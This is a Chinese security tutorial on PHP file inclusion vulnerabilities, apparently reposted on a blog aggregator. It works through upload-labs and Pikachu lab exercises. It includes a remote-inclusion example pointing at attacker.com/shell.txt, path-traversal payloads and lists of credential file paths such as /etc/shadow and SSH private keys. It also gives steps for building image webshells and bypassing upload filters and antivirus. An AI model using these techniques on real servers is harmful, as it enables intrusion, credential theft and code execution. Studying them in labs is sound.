文件包含(详解)

news2025/4/19 22:51:22

文件包含漏洞是一种常见的Web安全漏洞,其核心在于应用程序未对用户控制的文件路径或文件名进行严格过滤,导致攻击者能够包含并执行任意文件(包括本地或远程恶意文件)。

1. 文件包含原理

  1. 动态文件包含机制
    开发者使用动态包含函数(如PHP的 includerequire)加载代码文件,但未对用户输入的路径参数进行校验,例如:
$page = $_GET['page'];
include($page . '.php');  // 用户可控的$page参数
  1. 关键问题
    • 用户输入直接拼接至文件路径。
    • 未限制可包含的文件范围(如允许包含非预期目录或远程文件)。
    • 服务器配置不当(如PHP的 allow_url_include=On 允许包含远程文件)。
    • 对$GET['cmd']参数没有经过严格的过滤,直接带入了 include() 函数,攻击者可以修改$ GET[‘cmd’]的值,加载其他文件,执行非预期的操作,由此 造成了文件包含漏洞:

PHP的动态包含文件中,像include文件,在网页打开该文件并进行get传参即可访问服务器中其他的文件,这是一个操作流程

就是利用一个文件,调用另外一个文件。当这个文件中是代码时,就是直接调用代码。

并且还有一个好处,当知道文件位置时,就是不管文件后缀类型名,使用文件包含它都可以正常解析该文件

2. 文件包含有关的函数

include():当使用该函数包含文件时,只有代码执行到 include()函数是才将文件包含进 来,发生错误时只给出一个警告,继续向下执行

include_once():功能和 include()相同,区别在于当重复调用同一文件时,程序只调用 一次

requier():使用 require 函数包含文件时,只要程序一执行,立即调用脚本;如果前者 执行发生错误,函数或输出错误信息,并终止脚本运行 require_once():功能与 require()相同,区别在于当重复调用同一文件时,程序只调用 一

3. 漏洞类型

3.1. 本地文件包含(Local File Inclusion, LFI)

本地主机上的文件,文件名称是相对路径或者绝对路径

  • 定义:攻击者通过构造路径包含服务器本地的敏感文件或恶意文件。
  • 利用场景
    • 读取敏感文件:/etc/passwd、配置文件、日志文件等。
    • 配合文件上传漏洞:包含已上传的Webshell。
    • 利用PHP伪协议:php://filter 读取文件源码,或 php://input 执行代码。

示例

  • http://example.com/index.php?data=../../../../etc/passwd

3.2. 本地包含读文件

常用文件路径 apache+Linux 日志默认路径 /etc/httpd/logs/access.log、/var/log/httpd/access.log

apache+win2003 日志默认路径

D:\xampp\apache\logs\access.log、D:\xampp\apache\logs\error.log IIS6.0+win2003 默认日志文件

C:\WINDOWS\system32\Lognames

IIS7.0+win2003 默认日志文件

%SystemDrive%\inetpub\logs\Lognames

nginx 日志文件

/usr/local/nginx/logs

apache+linux 默认配置文件

/etc/httpd/conf/httpd.conf /etc/init.d/httpd IIS6.0+win2003

配置文件 C:/Windows/system32/inetsrv/metabase.xml

IIS7.0+WIN 配置文件 C:\Windows\System32\inetsrv\config\applicationHost.config

./:当前路径

../:上级目录

/:根目录

~/:linux 用户主目录

3.2.1.1. 文件地址,只要是windows系统就存在该文件

C:\Windows\win.ini

3.3. 2. 远程文件包含(Remote File Inclusion, RFI)

远程文件包含:包含互联网上的文件,文件名称为 URL 格式

  • 定义:攻击者通过URL包含远程服务器上的恶意脚本(需服务器配置允许包含远程文件)。
  • 利用条件
    • PHP配置中 allow_url_fopen=On:允许打开url文件
    • allow_url_include=On:允许引用url文件 。两个默认是开的
    • 包含路径未限制协议(如允许 http://ftp://)。

示例

  • http://example.com/index.php?get中指令=http://attacker.com/shell.txt

与文件包含相关配置文件:php.ini

3.4. 图片马+文件包含绕过

属于白名单

pass-13

3.4.1. 制作图片马

在服务端的 PHP 代码中,对于用户上传的文件做文件类型检查,查看文件格式是否符合上传规范。

可以检查文件二进制格式的前几个字节,从而判断文件类型是否正确。

针对这种情况可以直接新建要给 1.jpg, 其中代码内容如下

GIF98A <?php phpinfo();?>

copy 1.jpg/b+2.php/a 3.jpg

准备好图片和 php 文件,桌面下打开命令行,输入命令制作图片马

3.jpg就是图片马

成果:图片能正常打开,并且含有php恶意代码

步骤:

  1. 在图片位置打开cmd
  2. 使用上面代码内容
  3. 成功

11.jpg与3.jpg看起来一样,实际不一样,比如:大小

上传,把文件位置复制到文件包含漏洞网页进行检验

文件包含访问。

访问成功

主要关键点:制作图片马,访问路径

3.5. 二次渲染

经过:

  • 文件上传后会被二次渲染(调整大小,压缩),导致图片中的恶意码被清除

绕过方法:

  1. 上传正常图片并下载渲染后的文件。
  2. 对比原始文件与渲染后文件,找到未被修改的位置插入 PHP 代码。
  3. 重新上传并触发文件包含

一般情况文件会缩小

pass-16

很明显图片是被渲染过的

使用16进制工具对比两张图片找出图片没有被渲染过的地方

将一句话木马再插入被渲染过的图片,再保存

再上传图片,再文件包含即可(使用gif的动图)

3.6. Pass-18:条件竞争漏洞

  • 问题分析:文件先上传后校验,存在短暂的时间窗口。
  • 绕过方法
    1. 快速上传 PHP 文件并利用 Burp 的 Intruder 模块持续发送请求。
    2. 在文件被删除前访问上传路径执行代码

4. 任意文件读取/下载

任意文件读取/下载漏洞 是指攻击者通过Web应用程序的缺陷,

绕过权限限制直接访问或下载服务器上的任意文件(包括敏感配置文件、源代码、用户数据等)。

是指攻击者可以 通过某些漏洞,绕过应用程序的限制,直接读取或下载应用程序之外的文件。

5. pikachu

使用pikachu靶场实验文件读取与下载实操

5.1. 文件下载

点击kb图片下载

然后访问下载连接,根据url得fliname蕴含什么含义,可能文件是直接再服务器中访问下载的

在之前本地文件包含中含有一个windows配置文件

C:\Windows\win.ini

我们可以使用../../../ 查询到上级目录(方法:可以使用bp在get请求添加,也可以在url网址添加)

那么利用这一个漏洞,我们可以下载服务器中重要的文件或者说到该目录的任何文件。

如果有这个文件则将访问并下载,为什么多个../../

因为我们也不知道它上级目录有多少个,所以使用多个

注:

像以下可能存在文件下载漏洞

path

flie 等含各种参数的

5.2. 常见的敏感信息路径

5.2.1. Windows 系统

C:\boot.ini //查看系统版本

C:\Windows\System32\inetsrv\MetaBase.xml //IIS 配置文件 C:\Windows\repair\sam //存储系统初次安装的密码

C:\Program Files\mysql\my.ini //Mysql 配置

C:\Program Files\mysql\data\mysql\user.MYD //Mysql root

C:\Windows\php.ini //php 配置信息

C:\Windows\my.ini //Mysql 配置信息

5.2.2. Linux/Unix 系统

/root/.ssh/authorized_keys //如需登录到远程主机,需要到.ssh 目录下,新建 authorized_keys 文件,并将 id_rsa.pub 内容复制进去

/root/.ssh/id_rsa //ssh 私钥,ssh 公钥是 id_rsa.pub

/root/.ssh/id_ras.keystore //记录每个访问计算机用户的公钥 /root/.ssh/known_hosts

//ssh 会把每个访问过计算机的公钥(public key)都记录在~/.ssh/known_hosts。当下次访 问相同计算机时,OpenSSH 会核对公钥。如果公钥不同,OpenSSH 会发出警告, 避 免你受到 DNS Hijack 之类的攻击。

/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/etc/my.cnf //mysql 配置文件

/etc/httpd/conf/httpd.conf // Apache 配置文件

/root/.bash_history //用户历史命令记录文件

/root/.mysql_history //mysql 历史命令记录文件

/proc/self/fd/fd[0-9]*(文件标识符)

/proc/mounts //记录系统挂载设备

/porc/config.gz //内核配置文件

/var/lib/mlocate/mlocate.db //全文件路径

/porc/self/cmdline //当前进程的 cmdline 参数

6. (文件相关漏洞)注意事项(重点)

  1. 我们上传一个后缀为php或者asp,文件,能上传成功表示该文件后缀可以进行下一步操作(不直接使用一句话,因为有非常大的几率被杀)
  2. 我们需要知道路径,能够访问到asp即刚刚上传的文件
  3. 在文件有一行代码,需要会解析,而不是输出文件所有内容
  4. 上传一句话木马,被杀了,那就想到免杀手段:一般去找别人上传的免杀码,或者工具,然后使用webshell连接

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2338308.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

《SpringBoot中@Scheduled和Quartz的区别是什么?分布式定时任务框架选型实战》​

&#x1f31f; ​大家好&#xff0c;我是摘星&#xff01;​ &#x1f31f; 今天为大家带来的是Scheduled和Quartz对比分析&#xff1a; 新手常见困惑&#xff1a; 刚学SpringBoot时&#xff0c;我发现用Scheduled写定时任务特别简单。但当我看到同事在项目里用Quartz时&…

安装fvm可以让电脑同时管理多个版本的flutter、flutter常用命令、vscode连接模拟器

打开 PowerShellfvm安装 dart pub global activate fvm安装完成后&#xff0c;如果显示FVM无法识别&#xff0c;那么需要去添加环境变量path添加这个&#xff1a;C:\Users\Administrator\AppData\Local\Pub\Cache\bin 常用命令 fvm releases 查看用户可以装的flutter版本fvm l…

Kafka系列之:计算kafka集群topic占的存储大小

Kafka系列之:计算kafka集群topic占的存储大小 topic存储数据格式统计topic存储大小定时统计topic存储大小topic存储数据格式 单位是字节大小 size_bytes{directory="/data/datum/kafka/optics-all" } 782336计算topic存储大小脚本逻辑是: 计算指定目录或文件的大小…

智谱AI大模型免费开放:开启AI创作新时代

文章摘要&#xff1a;近日&#xff0c;国内领先的人工智能公司智谱AI宣布旗下多款大模型服务免费开放&#xff0c;这一举措标志着大模型技术正式迈入普惠阶段。本文将详细介绍智谱AI此次开放的GLM-4 等大模型&#xff0c;涵盖其主要功能、技术特点、使用步骤以及应用场景&#…

T1结构像+RS-fMRI影像处理过程记录(数据下载+Matlab工具箱+数据处理)

最近需要仿真研究T1结构像RS-fMRI影像融合处理输出目标坐标的路线可行性。就此机会记录下来。 为了完成验证目标处理&#xff0c;首先需要有数据&#xff0c;然后需要准备对应的处理平台和工具箱&#xff0c;进行一系列。那么开始记录~ 前言&#xff1a; 为了基于种子点的功能连…

【前端基础】--- HTML

个人主页  :  9ilk    专栏  :  前端基础 文章目录 &#x1f3e0; 初识HTML&#x1f3e0; HTML结构认识HTML标签HTML文件基本结构标签层次结构快速生成代码框架 &#x1f3e0; HTML常见标签注释标签标题标签 h1-h6段落标签 p换行标签 br格式化标签图片标签 img超链接标签…

黑马V11版 最新Java高级软件工程师课程-JavaEE精英进阶课

课程大小&#xff1a;60.2G 课程下载&#xff1a;https://download.csdn.net/download/m0_66047725/90615581 更多资源下载&#xff1a;关注我 阶段一 中台战略与组件化开发专题课程 阶段二 【物流行业】品达物流TMS 阶段三 智牛股 阶段四 千亿级电商秒杀解决方案专题 …

C#插件与可扩展性

外接程序为主机应用程序提供了扩展功能或服务。.net framework提供了一个编程模型,开发人员可以使用该模型来开发加载项并在其主机应用程序中激活它们。该模型通过在主机和外接程序之间构建通信管道来实现此目的。该模型是使用: System.AddIn, System.AddIn.Hosting, System.…

CVPR‘25 | 高文字渲染精度的商品图文海报生成

本文分享阿里妈妈智能创作与AI应用团队在图文广告创意方向上提出的商品图文海报生成模型&#xff0c;通过构建字符级视觉表征作为控制信号&#xff0c;可以实现精准的图上中文逐像素生成。基于该项工作总结的论文已被 CVPR 2025录用&#xff0c;并在阿里妈妈业务场景落地&#…

Golang|抽奖相关

文章目录 抽奖核心算法生成抽奖大转盘抽奖接口实现 抽奖核心算法 我们可以根据 单商品库存量/总商品库存量 得到每个商品被抽中的概率&#xff0c;可以想象这样一条 0-1 的数轴&#xff0c;数轴上的每一段相当于一种商品&#xff0c;概率之和为1。 抽奖时&#xff0c;我们会生…

idea maven 命令后控制台乱码

首先在idea中查看maven的编码方式 执行mvn -v命令 查看编码语言是GBK C:\Users\13488>mvn -v Apache Maven 3.6.3 (cecedd343002696d0abb50b32b541b8a6ba2883f) Maven home: D:\maven\apache-maven-3.6.3\bin\.. Java version: 1.8.0_202, vendor: Oracle Corporation, runt…

C# dll 打包进exe

Framework4.x推荐使用 Costura.Fody 1. 安装 NuGet 包 Install-Package Costura.Fody工程自动生成packages文件夹&#xff0c;300M左右。生成FodyWeavers.xml、FodyWeavers.xsd文件。 2. 自动嵌入 编译后&#xff0c;所有依赖的 DLL 会被自动嵌入到 EXE 中。 运行时自动解压…

【数据融合实战手册·实战篇】二维赋能三维的5种高阶玩法:手把手教你用Mapmost打造智慧城市标杆案例

在当今数字化时代&#xff0c;二三维数据融合技术的重要性不言而喻。二三维数据融合通过整合二维数据的结构化优势与三维数据的直观性&#xff0c;打破了传统数据在表达和分析上的局限&#xff0c;为各行业提供了更全面、精准的数据分析手段。从智慧城市建设到工业智能制造&…

ValueError: model.embed_tokens.weight doesn‘t have any device set

ValueError: model.embed_tokens.weight doesn’t have any device set model.embed_tokens.weight 通常在深度学习框架(如 PyTorch)中使用,一般是在处理自然语言处理(NLP)任务时,用于指代模型中词嵌入层(Embedding layer)的权重参数。下面详细解释: 词嵌入层的作用 …

解决:QTcpSocket: No such file or directory

项目场景&#xff1a; 使用QTcpSocket进行网络编程&#xff1a; 调用connectToHost连接服务器&#xff0c;调用waitForConnected判断是否连接成功&#xff0c;连接信号readyRead槽函数&#xff0c;异步读取数据&#xff0c;调用waitForReadyRead,阻塞读取数据。 问题描述 找不…

支付宝商家转账到账户余额,支持多商户管理

大家好&#xff0c;我是小悟 转账到支付宝账户是一种通过 API 完成单笔转账的功能&#xff0c;支付宝商家可以向其他支付宝账户进行单笔转账。 商家只需输入另一个正确的支付宝账号&#xff0c;即可将资金从本企业支付宝账户转账至另一个支付宝账户。 该产品适用行业较广&am…

3.Chromium指纹浏览器开发教程之chromium119版本源码拉取

获取Chromium最新版源码 Git是一个分布式版本控制系统&#xff0c;用于管理代码的版本和协作开发&#xff0c;它是目前最流行和广泛使用的版本控制系统之一。在Chromium项目中&#xff0c;通常使用gclient来获取Chromium的源代码&#xff0c;并使用Git来对代码进行版本控制和管…

【计算机视觉】OpenCV项目实战- Artificial-Eyeliner 人脸眼线检测

Artificial-Eyeliner 人脸眼线检测 项目介绍运行方式运行步骤常见问题及解决方法1. dlib 安装失败其他注意事项 2. 缺少 make / gcc3. **依赖库安装问题**&#xff1a;4. *人脸关键点检测失败&#xff1a;5. 眼线效果不理想&#xff1a;6. 实时处理延迟&#xff1a;7. 保存文件…

工作总结(十二)——迁移svn单项目到gitlab上,保留历史提交记录

文章目录 前言一、目的二、操作步骤1.创建项目库2.复制历史提交者账号3.复制待迁移项目以及历史记录4.push到gitlab远程仓库 总结 前言 本系列文章主要记录工作中一些需要记录的内容 一、目的 因为一些原因&#xff0c;我需要将svn库上的某个项目迁移到公司的gitlab库管理平台…

Git Flow

Git Flow深度解析&#xff1a;企业级分支管理实战指南 前言 在持续交付时代&#xff0c;分支策略决定团队协作效率。Git Flow作为经典的分支管理模型&#xff0c;被Apache、Spring等知名项目采用。2023年JetBrains开发者调查报告显示&#xff0c;Git Flow仍是中大型项目最常用…